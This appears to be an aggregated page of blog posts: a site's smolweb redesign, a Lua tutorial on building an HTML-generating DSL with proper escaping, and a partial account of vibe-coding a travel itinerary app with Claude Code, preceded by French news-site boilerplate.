En cliquant sur « J’accepte tout », vous consentez aux finalités susmentionnées pour l’ensemble des cookies et autres traceurs déposés par Humanoid et .

Vous gardez la possibilité de retirer votre consentement à tout moment. Pour plus d’informations, nous vous invitons à prendre connaissance de notre Politique cookies.

Google n’a pas encore officialisé cette refonte, mais on peut imaginer qu’elle sera officielle d’ici la Google I/O 2026 prévue le 19 mai. Attendez-vous à des appels désespérés de vos proches qui ne trouveront plus leurs applications préférées à cette date.

Vous avez lu 0 articles sur Numerama ce mois-ci

Il y a une bonne raison de ne pas s'abonner à

Tout le monde n'a pas les moyens de payer pour l'information.
C'est pourquoi nous maintenons notre journalisme ouvert à tous.

Mais si vous le pouvez,
voici trois bonnes raisons de soutenir notre travail :

1 Numerama+ contribue à offrir une expérience gratuite à tous les lecteurs de Numerama.
2 Vous profiterez d'une lecture sans publicité, de nombreuses fonctions avancées de lecture et des contenus exclusifs.
3 Aider Numerama dans sa mission : comprendre le présent pour anticiper l'avenir.

Si vous croyez en un web gratuit et à une information de qualité accessible au plus grand nombre, rejoignez Numerama+.

S'abonner à Numerama+

Tous nos articles sont aussi sur notre profil Google : suivez-nous pour ne rien manquer !

Tout savoir sur Gmail

Smolwebifying my site | AksDev

Mon, 27 Apr 2026 01:39:29 +0000

AksDev

I'm Aks Akseli Lahtinen from Finland!

KDE dev by day and a hobbyist gamedev/FOSS-dev by night.
Loves video games and metal/EBM music.

Smolwebifying my site

Posted on 2026-04-26 by Akseli Lahtinen

I found this thing called smolweb and it spoke to me.

Like yeah, websites are quite heavy these days. Older hardware (from like 2010s) has really difficult time loading it, and the big chunks of Javascript do not help either.

And not to forget web browsers such as Netsurf that do not have the resources to recreate the whole HTML/CSS/JS standard.

So, as you can see, this site is now much more plain and simple. Very easy to scroll from top to bottom and read the stuff. I think I will have to modify some of the paddings/margins around some elements, but other than that, I'm quite happy with it. I may also need to rework some colors. I tried to follow closely my Revontuli colorscheme.

Smolweb.org has a cool little validator that gives me valid score, and my CSS grade is C-. I will have to see if I can make that grade bit better, at least B. :) I also ran my site through the W3C HTML and CSS validators, like back in the olden days! And they told me my site is valid. :D

I spent quite a long time on this and I'm clearly not a designer. Probably ~12h total. I managed to remove at least ~1000 lines of extra stuff, which is awesome. One big thing I did was starting to use SCSS with Zola, so it compiles the CSS instead of relying on CSS variables. This makes the site work even on browsers that do not support CSS variables!

Let me know what you think of the look! And I'm curious what scores others get from the smolweb validator!

Webmentions

Have you written a response to this post? Send me the URL!

FediFeed

Fun facts!

Source code!

Lua can be a really cool HTML templating engine · riki's house

Mon, 27 Apr 2026 01:39:29 +0000

Lua can be a really cool HTML templating engine

2026-04-26

Have you ever used Lua?

It’s a pretty cool language. It is also one of my favourite programming languages, for which I made a case in a past blog post.

One of my favourite aspects of Lua’s design that I like to preach about is how it’s really tight and small, while also being genuinely really sweet to write. Today, I’d like to focus on its Lisp-like aspect: domain specific languages (DSLs)—specifically, we will use it to build a templating language for HTML.

But first, let me set some background.

What’s in a template engine?

As a fellow blogger on the Internet maintaining their own blogging software, I’ve used my fair share of templating engines for generating HTML.

The premise of a templating engine is really simple: you have a bunch of literal text, and into that literal text is sandwiched a bunch of instructions on how to expand that literal text, given some parameters. Then, a web server can render the template, providing it the parameters to render with.

In other words, a template is a function params -> string. Parameters go in, string goes out.

On this website, I’m using Handlebars: a fairly popular templating engine in the JavaScript world, although I’m using a Rust implementation of it myself. The syntax looks like this (this is the actual template I’m using to generate the “Blog” sidebar on the homepage):

<section class="feed">
	<h1>{{ page.feed.title }}</h1>

	{{#each page.feed.entries}}
	<article>
		<h2><a href="{{ url }}">{{{ title }}}</a></h2>
		<div class="info">
			<time datetime="{{ updated }}">{{ iso_date updated }}</time>
			<ul class="categories">
				{{#each tags as |tag|}}
				<li><a href="{{ config.site }}/tag/{{ tag }}">#{{ tag }}</a></li>
				{{/each}}
			</ul>
		</div>
	</article>
	{{/each}}
</section>

Between the HTML tags, you will find instructions for the template engine, enveloped in curly braces {{ }}. This is a pretty common syntax among various template engines, although parts of it will vary from engine to engine—such as Handlebars’s non-escaping instructions, which triple the curlies {{{ }}}, or its block helpers {{#each}} and {{/each}}, which I’ll get to in a moment.

The most basic type of instruction is a lookup, which inserts a literal value into your output text. Let’s zoom in a bit:

<h2><a href="{{ url }}">{{{ title }}}</a></h2>

Output

<h2><a href="https://riki.house/album-listener">The album listener</a></h2>

Here, the template engine will look up the fields url and title in the parameters, and insert them into the output text. Note how I had to use triple curly braces here, because Handlebars will escape the expanded text by default, such that any HTML tokens are presented literally on the page. My server provides raw HTML in the title parameter, so we want to turn that off.

Note that lookups don’t have to be limited to simple field names, as the parameters passed may be an arbitrarily deep data structure—as is seen with the header:

<h1>{{ page.feed.title }}</h1>

Output

<h1>Blog</h1>

In addition to lookups, Handlebars also has helpers, which is a slightly redundant name for functions that are exposed to the template in addition to the parameters. (I mean, you could just name them functions!)

With helpers, the template may transform the input parameters in different ways, such as with iso_date in the example above, which is defined in Rust and used like this:

Definition

Usage

<time datetime="{{ updated }}">{{ iso_date updated }}</time>

Output

<time datetime="2026-03-19T14:22:00Z">2026-03-19</time>

Finally, we have a special class of helpers, called block helpers. While regular helpers take single values as parameters, block helpers take in a block in addition, allowing them to execute the block similarly to a closure in a real programming language—conditionally, in a loop, and so on.

Since block helpers need a start and an end delimiter, Handlebars opts for prefixing the helper name with # and / for the start and the end of the block respectively, like {{#each}} {{/each}}.

Let’s look at the example of {{#each}} from above, though shortened a bit for brevity:

Output

<h2><a href="/album-listener">The album listener</a></h2>
<h2><a href="/communal-chat-room">The communal chat room</a></h2>
<h2><a href="/text-editor-wishlist">Scheming on a text editor</a></h2>
<h2><a href="/along-rivers">Out now: along rivers, forever adrift.</a></h2>

Here, {{#each}} will expand to as many headings as there are elements in the list provided to it.

An interesting feature (and, in my honest opinion, footgun) of many template engines that’s demonstrated here is their scoping system, which is akin to JavaScript’s with statements.

Essentially, lookups are done within a scope of the parameters. In the beginning, if you use an identifier like url, the template engine will look it up in the parameters’ root. However, once you enter a loop, that scope walks down to the current loop element—which is why {{ url }} in the example above refers to the feed entry’s URL, rather than the whole page’s URL.

Because of this, when you want to look up an identifier that isn’t within the loop element, you have to walk up the scope chain to get to it—in Handlebars, that’s written like {{ ../url }}. I think you can imagine how this can quickly get error-prone and annoying to work with.

Either way, that about sums up the essentials of template engines.

Now, don’t get me wrong: I think template engines are great. They are simple and fast, when done well.

One of my favourite templating engines, Go’s text/template—whose design you should totally copy! (though, maybe sans the scoping…)—fits in less than 3000 lines of code as of writing this post.

It is a really comprehensive template engine, featuring basically everything I mentioned above, with a syntax design much nicer to look at than Handlebars, in my humble opinion.

… yeah I’m just dissatisfied with Handlebars, am I not.

Let’s be real, Handlebars doesn’t do anything more than Go’s text/template does, yet is 3x larger, at around 9000 lines of code excluding comments! (Meanwhile my estimation of text/template’s size was done entirely with a web browser and a calculator, no fancy comment exclusions.)

You could blame a lot of this on Rust’s lack of reflection system, but I don’t believe you need a reflection system to do templates…

In fact, you’re probably better off without one, since passing data to templates is like serialising to JSON, which I think should be done imperatively, kept separate from your data structure definitions. The static type system does not know about your templates, so by exposing your data structures to templates, you’re introducing a contract about your data structures’ API stability—which is not ideal, and annoying to enforce with how template engines tend to be dynamically typed.

But even then, Handlebars still has another ergonomic problem. Remember that triple curly brace {{{ }}}?

<h2><a href="{{ url }}">{{{ title }}}</a></h2>

Yeah, that.
Kind of sucks that I have to do that, doesn’t it.

What if the data model changes, and the server no longer provides the template with a string that’s known-good-HTML? Then we’ve got ourselves an XSS vulnerability cooking, if the template is serving anything based on user input (which it will in most dynamic services.)

This is why Go also has a sister module for its text/template, called html/template. Here’s how it fixes this problem:

Any time you want to provide raw HTML to the template, you’re encouraged to do it in your server code, by passing in HTML instead of a string.
To my knowledge, there is no special syntax to tell the template engine, “don’t escape this.”
The module knows how to render non-HTML strings into templates by…
PARSING THE HTML??

It parses.
The HTML.

It parses.

HTML.

_{(My browser chugged hard trying to load that page.)}

At this point, it feels like we’re doing something backwards here. Why are we trying to parse the HTML we’re trying to render, a.k.a. generate, a.k.a. serialise?

Which, I guess, is exactly what the person behind maud was thinking when they made it.

Devising an approach that isn’t ass-backwards

Maud is a different kind of HTML template engine. Instead of being implemented as a generic language for transforming text, it is implemented as a Rust macro with its own syntax, that always produces valid HTML.

This seems like the more sensible approach—instead of trying to parse the HTML complexity monster, why don’t we rely on the host language to provide us with enough information to generate it correctly?

And the result is actually pretty neat-looking! I haven’t used it personally, but here’s an example from their website.

It’s pretty lightweight, and doesn’t lose the structure of the HTML. I like it.

The one thing I don’t like is that it’s a complicated, 3000 line-of-code long Rust macro.

It is an improvement in terms of density of functionality compared to html/template, and doesn’t suffer from the same ergonomic annoyances as Handlebars does. But I don’t like that it’s a 3000 lines long Rust macro.

For those of you wondering why I’m so much against implementing this with Rust macros, here’s a short breakdown:

The tooling support sucks. The language server pretty much stops working inside macros, and the rustfmt will no longer format your code.

That alone is 80% of why I hate doing that kind of stuff with macros. The remaining 20% is…
The compilation times.

maud depends on syn to parse Rust expressions, which means that has to get compiled before any other crate does (which takes a bit of time).

The worse part, though, is that once you get to using the macros, the compiler—instead of just parsing your code—has to invoke the macro, which will parse your code, and then spit out a bunch of Rust code for the compiler to parse—increasing the amount of work that has to be done.

Don’t get me started on #[derive] macros… maud fortunately isn’t one of them, but I’ll just briefly ruin your day by saying that they’re even worse, because each macro you use has to parse your type definition separately, in addition to the compiler, as well as other #[derive] macros you use. Shivers.
And lastly, it’s inventing new syntax.

I’d love it if an HTML generation thing like maud could just use existing syntax instead of having to invent anything new. It would result in having less to learn, and less context switches having to look stuff up in the library’s documentation after not using it for a month.

For this same reason, I don’t really like JSX despite its unquestionable ergonomic benefits. It’s bolting on new features to a language in a pretty inelegant way, instead of reusing existing syntax. And it requires a compilation step.

Fortunately, there exists a programming language that ticks all the boxes.

Enter…

The Dark Side of the Moon

Lua, that ugly language with 1-based indexing, a weird inequality operator, and do..end blocks instead of my beloved curlies?

Look, I’m also one for curly hair, but I genuinely like Lua’s syntax. It can be pretty wordy, but in essence it is a bit like a tiny, dynamically typed Go.

A language that gets out of the way and lets you get things done.

At the same time, Lua has a pretty long history having started as a DSL for defining data, which influenced its design towards some really interesting choices that make it perfect for the thing we’re trying to make.

Let me start by introducing Lua’s most awesome feature: its single data structure, the table.

On the surface, they’re familiar: a table is nothing more than a hash table with dynamically typed keys. Since there is no other data structure in the language, they feature syntax sugar which lets them double as records or structs.

At the same time, since the language has no dedicated array data structure, there’s also a syntax sugar for declaring a table with incrementing integer keys, starting at 1. Simply omit the key:

It’s also possible to get the number of elements using the # operator.

print(#words) --> 3

Storing elements in this manner activates an optimisation called the table’s array part. When a table has a contiguous sequence of elements starting at 1, Lua will store them in a contiguous array in memory, making iteration and indexing more efficient than with a hash table.

Those are the basics, but a cool feature is that you can combine the two syntaxes together in one table initialiser. This will create a table both with string keys and an array part:

Notably, the length of the table is reported as 2 in this case, and there’s a function ipairs to iterate over only the array part in order of increasing indices, in addition to pairs which iterates over all keys in an arbitrary order.

print(#document) --> 2

for i, line in ipairs(document) do
	print(i, line) --> 1	Hello! This is a line of text.
	--> 2	Meow.
end

for k, v in pairs(document) do
	-- Note how order is not preserved, and "language" comes last:
	print(k, v) --> 1	Hello! This is a line of text.
	--> 2	Meow.
	--> language	English
end

Another neat piece of syntax sugar Lua gained during its DSL roots is the ability to call a function with a table initialiser as its sole argument, without having to add extra parentheses:

print {"hello"} --> table: 0x55d727071ec0

The rationale was that this allows for validating data very easily, as you can inspect the table, check its fields for correctness, and then return it.

But technically, this can extend to returning a completely different, transformed table, which we’re going to use to great advantage.

Combining these two little syntax sugars with the flexibility of tables allows us to invent pretty sweet DSLs, like this one for constructing GUIs that I had mentioned in my old blog post on Lua:

Here, all the little primitives like root_window, align, vertical_stack, or text, are functions in the global scope that take in a table as an argument, and return a widget.

So naturally, what’s stopping us from writing something like this for generating HTML?

…

Nothing, of course. So let’s go ahead and do it!

The part where I do the thing

Let’s establish what we’d like to accomplish with our DSL for generating HTML. The end result we’d like to achieve is for an expression like this:

h.Document{
	lang = "en",

	h.head{
		h.meta{charset = "UTF-8"},
		h.title{"Hello, world!"},
	},

	h.body{
		h.h1{"Hello, world!"},
		h.p{
			"This is an example of the little HTML templating framework I wrote ",
			"in Lua in like 20 minutes."
		},
		h.p{
			"As you can see, it is fully capable of generating any kind of markup ",
			"you'd ever want.", h.br(),
			"It can even do things like ", h.b"bold text", "!"
		},
		h.p"This is some embedded HTML <p></p>"
		h.img{
			alt = "riki sitting in pink space",
			src = "https://riki.house/static/character/riki/sitting.png",
			width = 2223, height = 1796,
			style = "width: 20%; height: auto;"
		},
	},
}

To generate HTML equivalent to the following:

<!doctype html>
<html lang="en">
	<head>
		<meta charset="UTF-8">
		<title>Hello, world!</title>
	</head>

	<body>
		<h1>Hello, world!</h1>
		<p>This is an example of the little HTML templating framework I wrote in Lua in like 20 minutes.</p>
		<p>As you can see, it is fully capable of generating any kind of markup you'd ever want.<br>
		It can even do things like <b>bold text</b>!</p>
		<p>This is some embedded HTML &lt;p&gt;&lt;/p&gt;</p>
		<img alt="riki sitting in pink space"
			src="https://riki.house/static/character/riki/sitting.png"
			width="2223" height="1796"
			style="width: 20%; height: auto;">
	</body>
</html>

I will begin by creating a namespace for our library. In Lua, you use an ordinary table for that. In a new file:

local html = {}

return html

From now on, treat any code examples as sandwiched between these two lines of boilerplate.

Going back to the example for a bit—note how any literal Lua string we try to put into the HTML must be escaped correctly. For this, we will need a separate data type for differentiating HTML from plain strings. I will call mine Html, because I like the convention of starting type names with an uppercase letter.

We use a metatable to give the table returned by html.Html a prototype, which will help us differentiate our Html-type tables from any others. I wrote about metatables at length in my article on implementing classes in Lua, so you might want to read that if you don’t know what they are.

We also give the metatable a __tostring function, which will allow us to call the standard tostring function on the table to get the rendered HTML. tostring is also used when printing things to the console, so that’ll also take care of that functionality.

Armed with an Html type, we can write a basic function—no sugar yet—to produce HTML for us, given a tag and a definition table, containing the element’s attributes and children.

-- This little function will make it a bit more convenient to
-- append a bunch of new elements to a table.
local function write(t, ...)
	local n = select('#', ...)
	for i = 1, n do
		table.insert(t, (select(i, ...)))
	end
end

local function write_children(el, def)
	for _, child in ipairs(def) do
		if type(child) == "string" then
			-- Text node
			table.insert(el, child)
		elseif type(child) == "table" and getmetatable(child) == Html then
			-- HTML node
			table.insert(el, child.text)
		elseif type(child) == "table" then
			-- Nested table.
			-- This allows us to insert children from a `for` loop.
			write_children(el, child)
		end
	end
end

function html.Element(kind, def)
	-- open tag
	local el = {"<", kind}
	for k, v in pairs(def) do
		if type(k) == "string" then
			write(el, " ", k, '="', v, '"')
		end
	end
	table.insert(el, ">")

	-- children
	write_children(el, def)

	-- close tag
	write(el, "</", kind, ">")

	return html.Html(table.concat(el))
end

The function is called Element, again with an uppercase letter, because I’d like to make space for the syntax sugar we’re about to add later. HTML is case-insensitive, so we’ll reserve uppercase names for specific functions, and lowercase names for element constructors—similar to how JSX works with lowercase names for literal elements, and uppercase for components.

A surprising technique to note here is that we use a table to collect all the HTML text to be rendered, which we then table.concat to obtain our final string.

We do this because strings in Lua are immutable, and using the string concatenation operator a..b incurs a new allocation every time we use it, which can get expensive really quickly. It can get especially bad if the strings in question are big—because each allocation must copy the old string into the new string, thus getting worse and worse with each use of the operator.

So to avoid writing a Shlemiel the painter’s algorithm, we accumulate all the pieces into a table, and then join them together in one fell swoop.

In other languages, such as Go, this is called a string builder.

Anyways, with that out of the way, we can now construct some HTML!
Let’s try it out.

Output

<p>Hello, world!</p>

So far, so good! Let’s keep going, and render a user comment. I’ll use some mock data, because this isn’t the time to be writing a comment section backend.

Output

Great! We can use this in pretty much the same way as React components.

Hang on, what are you–

Output

Oh.

We forgot to escape the HTML, didn’t we.

Fortunately for us, this seems like a pretty simple thing to do; it involves substituting out all the illegal characters out of our untrusted input strings into nice, safe HTML escape codes. Let’s write a function that will do the substitution.

There are a couple things to note here.

First of all, if you want to do this 100% correctly, it is not that simple. HTML is a weird language because it embeds CSS and JS inside, and those have their own rules as to how values have to be escaped. I’m skipping over that because HTML escapes handle 90% of the cases for a simple blog, but you’ll have to be wary around CSS and JS.

But regarding the code, what’s with the oddly formatted string argument we pass in to string.gsub?

A lot of languages have libraries for regular expressions, but Lua aims to be really small. So small you can put it on a microcontroller! Meanwhile, regular expression engines tend to be really big, so bundling one with Lua would be a no-go.

Except, text processing is a really useful thing to have in a garbage collected language! Which is why Lua invented its own small language for matching strings, called patterns.

Patterns are really simple; they offer no backtracking, so you won’t find a | operator like in regular expressions. Among what they can do however, is matching characters from a set—as seen above.

While we could use string.gsub like a simple plain text search-and-replace, and then chain a few of them together to replace all the illegal characters in several passes, it lets us do something a little bit more clever.

string.gsub will interpret a table-typed replacement argument as a lookup table for replacements.

If you wrap your pattern in a capture group—those parentheses ([&<>\"'])—string.gsub will use what’s matched inside those parentheses as a key to that table you provide, and replace the matched string with a string looked up from that table.
Pretty neat, huh?

This allows us to write a lookup table for all the characters we want to replace, instead of running string.gsub multiple times—which means better performance (as we only scan the string once), but also means less opportunity for bugs to creep in.

For example, the following is not the correct way to implement this function. Can you tell why? (Hint: it’s not that any of the substituted characters mean anything special when used in a pattern.)

Going back to the original function for a bit once again, I’d like to explain another thing that might seem odd:

Notice the extra parentheses around the returned value? This is because string.gsub returns two values, with one being the string after replacements, and the other being the number of replacements it made. Therefore, we have to collapse it back to just the output string, which is most conveniently done by wrapping the function call in parentheses.

With that out of the way, we can upgrade our html.Element function to escape untrusted strings and avoid wreaking XSS havoc all over our website.

Now, if someone tries to post an evil comment, their plans will be foiled:

Output

There is still one more important thing we have to implement for our implementation to be fully HTML-compliant, though: void elements.

Some elements in HTML cannot have children, and only have an opening tag. Those elements include things like <img> or <input>.

We need to filter out those elements, and never emit any children or closing tags for them:

local void_elements = {
	area = true, base = true,
	br = true, col = true,
	embed = true, hr = true,
	img = true, input = true,
	link = true, meta = true,
	param = true, source = true,
	track = true, wbr = true,
}

function html.Element(kind, def)
	-- open tag
	local el = {"<", kind}
	for k, v in pairs(def) do
		write(el, " ", k, '="', escape_html(v), '"') -- here
	end
	table.insert(el, ">")

	if void_elements[kind] then
		return html.Html(table.concat(el))
	end

	-- children
	write_children(el, def)

	-- close tag
	write(el, "</", kind, ">")

	return html.Html(table.concat(el))
end

Now if we try to create an <img> element, it will correctly be missing a closing tag.

Output

<img alt="riki sitting in pink space" src="https://riki.house/static/character/riki/sitting.png">

And… that’s pretty much all we need to create well-formed HTML elements! That said, there is still one correctness improvement I’d like to do.

Remember how I said that pairs’s iteration order is undefined? Knowing how hash tables work, there is a risk of it being non-deterministic, depending on the Lua implementation.

Now, I don’t know of any implementations of Lua that would randomise hash table order between runs of the program like Rust does, but it does feel kind of awry to be relying on an implementation detail that can change between versions like that. Who knows what LuaJIT could be doing?

And so, the last improvement I’d like to make is to sort all the attributes alphabetically to ensure implementation differences cannot introduce any non-determinism.

local function attr_cmp(a, b)
	return a[1] < b[1]
end

function html.Element(kind, def)
	local attr = {}
	for k, v in pairs(def) do
		if type(k) == "string" then
			table.insert(attr, {k, v})
		end
	end
	table.sort(attr, attr_cmp)

	-- open tag
	local el = {"<", kind}
	for _, a in ipairs(attr) do
		write(el, " ", a[1], '="', escape_html(a[2]), '"')
	end
	table.insert(el, ">")
	table.insert(el, ">")
	-- (omitted)
end

This is the kind of mistake that you only make once in life. Ask me how I know.

With that out of the way, we can now move onto some ergonomic improvements, because typing html.Element("p", {"This is some text"}) just to display some silly text gets old pretty quick.
So does reading it.

Ergonomic improvements

Remember how I hyped up all the cool domain specific language stuff Lua is capable of, only to never follow up on it?
This is that section where I follow up on it.

Let’s start with the most important bit: how do we make it so that we can create elements using the syntax html.p{} instead of html.Element("p", {})?

If you’ve read my blog post on implementing classes, you may remember that metatables have an __index metamethod that allows us to override the indexing operator a[b] (and likewise a.b) for keys that are not in the table.

Therefore, let’s override html’s __index, to return a function which creates an element with the given name—accepting only a single table argument, therefore making it possible to use the shorthand f{} syntax with it.

Note how we save the function in the html namespace for later, so that subsequent calls to it do not recreate it—reducing the amount of meaningless work for the computer to do.

Now, lo and behold, our comment example from before can become much cleaner:

-- Before
local function Comment(c)
	return html.Element("article", {
		class = "comment",

		html.Element("span", {class = "user", comment.user}),
		" says: ", comment.text
	})
end

-- After
local function Comment(c)
	return html.article{
		class = "comment",

		html.span{class = "user", comment.user},
		" says: ", comment.text
	}
end

An annoying thing is that custom elements are still a bit of a bother to use.

For those of you unfamiliar with custom elements, it’s an API that allows you to declare custom HTML elements from JavaScript.

class Clock extends HTMLElement {
	connectedCallback() {
		this.format = this.getAttribute("data-format") ?? "short";
		this.update();
		setInterval(() => this.update(), 1000);
	}

	update() {
		let now = new Date();
		this.innerText = now.toLocaleTimeString([], { timeStyle: this.format });
	}
}
customElements.define("riki-clock", Clock);

With this script, when we write <riki-clock data-format="short"></riki-clock> in our HTML, the extra behaviour from the Clock class will be attached to it.

A notable thing is that all names of custom elements have to include a dash - in them, to encourage namespacing.

It’s a pretty useful API, and I use it all the time in my web apps, so it’d be good if constructing those custom elements in our Lua templating engine didn’t have to look like this:

return html["riki-clock"]{["data-format"] = "short"}

Output

<riki-clock data-format="short"></riki-clock>

That’s not even shorter than the raw HTML!

Fortunately, underscores aren’t really used at all in HTML tags and attribute names, so I think the right opinion to take here is to substitute them into dashes automatically.

function html.Element(kind, def)
	local attr = {}
	for k, v in pairs(def) do
		if type(k) == "string" then
			local k = k:gsub("_", "-")
			table.insert(attr, {k, v})
		end
	end
	table.sort(attr, attr_cmp)

	-- open tag
	local el = {"<", kind}
	-- (omitted)
end

function html.__index(html, key)
	key = key:gsub("_", "-")
	local function thunk(def)
		return html.Element(key, def)
	end
	html[key] = thunk -- memoise for future use; __index will not be called then
	return thunk
end

With that out of the way, the riki clock can now be assembled with much less line noise than before.

return html.riki_clock{data_format = "short"}

Output

<riki-clock data-format="short"></riki-clock>

As another space for improvement, I’d like to turn your attention to how <img> tags have to be constructed right now.

If you compare this to the version we wanted to have at the beginning, you will notice one small detail: in this version, the width and height attributes have to be provided as strings!

That’s kind of annoying, especially if the sizes are coming in from some outside function that returns them as integers. To deal with that, we will add one last line to html.Element, to convert all attribute values to strings automatically.

To static typing-minded folks, this might look horrible, but I feel like this is one of those cases where being liberal in what you accept and strict in what you produce gives you some really nice results. Besides, this behaviour is consistent with the rest of Lua, where concatenating strings will call tostring implicitly:

print("Score: "..1) --> Score: 1

As one last minor improvement, let’s make the function call itself a little bit more ergonomic, and make it easier to construct tags containing only text—such as <b>bold</b>—or nothing at all, such as <br> or <wbr>.

To tie the library together, let’s make it a bit easier to start a document with a <!doctype html> at the beginning.

And there you go!

The whole library can be wrapped up in 117 lines of code. Here’s the full code listing, feel free to add it into your projects and tweak it to taste:

local html = {}
setmetatable(html, html)

local escape_subs = {
	["&"] = "&amp;",
	["<"] = "&lt;",
	[">"] = "&gt;",
	['"'] = "&quot;",
	["'"] = "&#39;",
}
local function escape_html(str)
	return (str:gsub("([&<>\"'])", escape_subs))
end

local function write(t, ...)
	local n = select('#', ...)
	for i = 1, n do
		table.insert(t, (select(i, ...)))
	end
end

local Html = {}

function html.Html(text)
	assert(type(text) == "string", "html.Html expects a string")
	return setmetatable({text = text}, Html)
end

function Html:__tostring()
	return self.text
end

local void_elements = {
	area = true,
	base = true,
	br = true,
	col = true,
	embed = true,
	hr = true,
	img = true,
	input = true,
	link = true,
	meta = true,
	param = true,
	source = true,
	track = true,
	wbr = true,
}

local function attr_cmp(a, b)
	return a[1] < b[1]
end

local function write_children(el, def)
	for _, child in ipairs(def) do
		if type(child) == "string" then
			table.insert(el, escape_html(child))
		elseif type(child) == "table" and getmetatable(child) == Html then
			table.insert(el, child.text)
		elseif type(child) == "table" then
			write_children(el, child)
		end
	end
end

function html.Element(kind, def)
	if type(def) == "string" then
		def = {def}
	end
	if def == nil then
		def = {}
	end

	local attr = {}
	for k, v in pairs(def) do
		if type(k) == "string" then
			local k = k:gsub("_", "-")
			local v = tostring(v)
			table.insert(attr, {k, v})
		end
	end
	table.sort(attr, attr_cmp)

	-- open tag
	local el = {"<", kind}
	for _, a in ipairs(attr) do
		write(el, " ", a[1], '="', escape_html(a[2]), '"')
	end
	table.insert(el, ">")

	if void_elements[kind] then
		return html.Html(table.concat(el))
	end

	-- children
	write_children(el, def)

	-- close tag
	write(el, "</", kind, ">")

	return html.Html(table.concat(el))
end

function html.Document(def)
	return html.Html("<!doctype html>"..tostring(html.Element("html", def)))
end

function html.__index(html, key)
	key = key:gsub("_", "-")
	local function thunk(def)
		return html.Element(key, def)
	end
	html[key] = thunk -- memoise for future use; __index will not be called then
	return thunk
end

return html

Idioms

I hear you say, “riki, but this library is incomplete! It doesn’t even have ifs and fors like Handlebars or maud do.”

Here is how you would implement ifs:

In short:

For conditionally including text or HTML, you can use the Lua cond and true_value or false_value idiom.

Note that you don’t want any stray nils in the table, because that would break iteration via ipairs—so you have to use an empty string or an empty table.
For conditionally enabling attributes, you can write an iif (immediate if) function that returns one of two options.

The cond and t or f idiom I mentioned above can’t work due to nil being false, and therefore the or operator always taking the left branch—which will not work as expected if cond == false.

And here is how you would implement fors:

Of course, an immediately invoked function will also do fine, but having a map function around in your codebase is really handy for transforming all kinds of data.

And that’s about it, I think. Hope you enjoyed the post! It took me many hours to finish.

And I hope you learned something nice about Lua :3

Thank you to my good friend Anya for giving me some thorough feedback on a draft of this post.

An experiment in vibe coding | Read the Tea Leaves

Sun, 26 Apr 2026 17:37:21 +0000

For the holidays, I gave myself a little experiment: build a small web app for my wife to manage her travel itineraries. I challenged myself to avoid editing the code myself and just do it “vibe” style, to see how far I could get.

In the end, the app was built with a $20 Claude “pro” plan and maybe ~5 hours of actual hands-on-keyboard work. Plus my wife is happy with the result, so I guess it was a success.

There are still a lot of flaws with this approach, though, so I thought I’d gather my experiences in this post.

The good

The app works. It looks okay on desktop and mobile, it works as a PWA, it saves her itineraries to a small PocketBase server running on Railway for $1 a month, and I can easily back up the database whenever I feel like it. User accounts can only be created by an admin user, which I manage with the PocketBase UI.

I first started with Bolt.new but quickly switched to Claude Code. I found that Bolt was fine for the first iteration but quickly fell off after that. Every time I asked it to fix something and it failed (slowly), I thought “Claude Code could do this better.” Luckily you can just export from Bolt whenever you feel like it, so that’s what we did.

Bolt set up a pretty basic SPA scaffolding with Vite and React, which was fine, although I didn’t like its choice of Supabase, so I had Claude replace it with PocketBase. Claude was very helpful here with the ideation – I asked for some options on a good self-hosted database and went with PocketBase because it’s open-source and has the admin/auth stuff built-in. Plus it runs on SQLite, so this gave me confidence that import/export would be easy.

Claude also helped a lot with the hosting – I was waffling between a few different choices and eventually landed on Railway per Claude’s suggestion (for better or worse, this seems like a prime opportunity for ads/sponsorships in the future). Claude also helped me decipher the Railway interface and get the app up-and-running, in a way that helped me avoid reading their documentation altogether – all I needed to do was post screenshots and ask Claude where to click.

The app also uses Tailwind, which seems to come with decent CSS styles that look like every other website on the internet. I didn’t need this to win any design awards, so that was fine.

Note I also ran Claude in a Podman container with --dangerously-skip-permissions (aka “yolo mode”) because I didn’t want to babysit it whenever it wanted permission to install or run something. Worst case scenario, an attacker has stolen the app code (meh), so hopefully I kept the lethal trifecta in check.

The bad

Vibe-coding tools are decidedly not ready for non-programmers yet. Initially I tried to just give Bolt to my wife and have her vibe her way through it, but she quickly got frustrated, despite having some experience with HTML, CSS, and WordPress. The LLM would make errors (as they do), but it would get caught in a loop, and nothing she tried could break it out of the cycle.

Since I have a lot of experience building web apps, I could look at the LLM’s mistakes and say, “Oh, this problem is in the backend.” Or “Oh, it should write a parser test for this.” Or, “Oh, it needs a screenshot so it can see why the CSS is wrong.” If you don’t have extensive debugging experience, then you might not be able to succinctly express the problem to an LLM like this. Being able to write detailed bug reports, or even have the right vocabulary to describe the problem, is an invaluable skill here.

After handing it over from Bolt to Claude Code and taking the reigns myself, though, I still ran into plenty of problems. First off, LLMs still suck at accessibility – lots of <div>s with onClick all over the place. My wife is a sighted mouse user so it didn’t really matter, but I still have some professional pride even around vibe-coded garbage, so I told Claude to correct it. (At which point it promptly added excessive aria-labels where they weren’t needed, so I told it to dial it back.) I’m not the first to note this, but this really doesn’t bode well for accessible vibe-coded apps.

Another issue was performance. Even on a decent laptop (my Framework 13 with AMD Ryzen 5), I noticed a lot of slow interactions (typing, clicking) due to React re-rendering. This required a lot of back-and-forth with the agent, copy-pasting from the Chrome DevTools Performance tab and React DevTools Profiler, to get it to understand the problem and fix it with memoization and nested components.

At some point I realized I should just enable the React Compiler, and this may have helped but didn’t fully solve the problem. I’m frankly surprised at how bad React is for this use case, since a lot of people seem convinced that the framework wars are over, since LLMs are so “good” at writing React. The next time I try this, I might use a framework like Svelte or Solid where fine-grained reactivity is built-in, and you don’t need a lot of manual optimizations for this kind of stuff.

Other than that, I didn’t run into any major problems that couldn’t be solved with the right prompting. For instance, to add PWA capabilities, it was enough to tell the LLM: “Make an icon that kind of looks like an airplane, generate the proper PNG sizes, here are the MDN docs on PWA manifests.” I did need to follow up by copy-pasting some error messages from the Chrome DevTools (which required even knowing to look in the Application tab), but that resolved itself quickly. I got it to generate a CSP in a similar way.

The only other annoying problem was the token limits – this is something I don’t have to deal with at work, and I was surprised how quickly I ran into limits using Claude as a side project. It made me tempted to avoid “plan mode” even when it would have been the better choice, and I often had to just set Claude aside and wait for my limit to “reset.”

The ugly

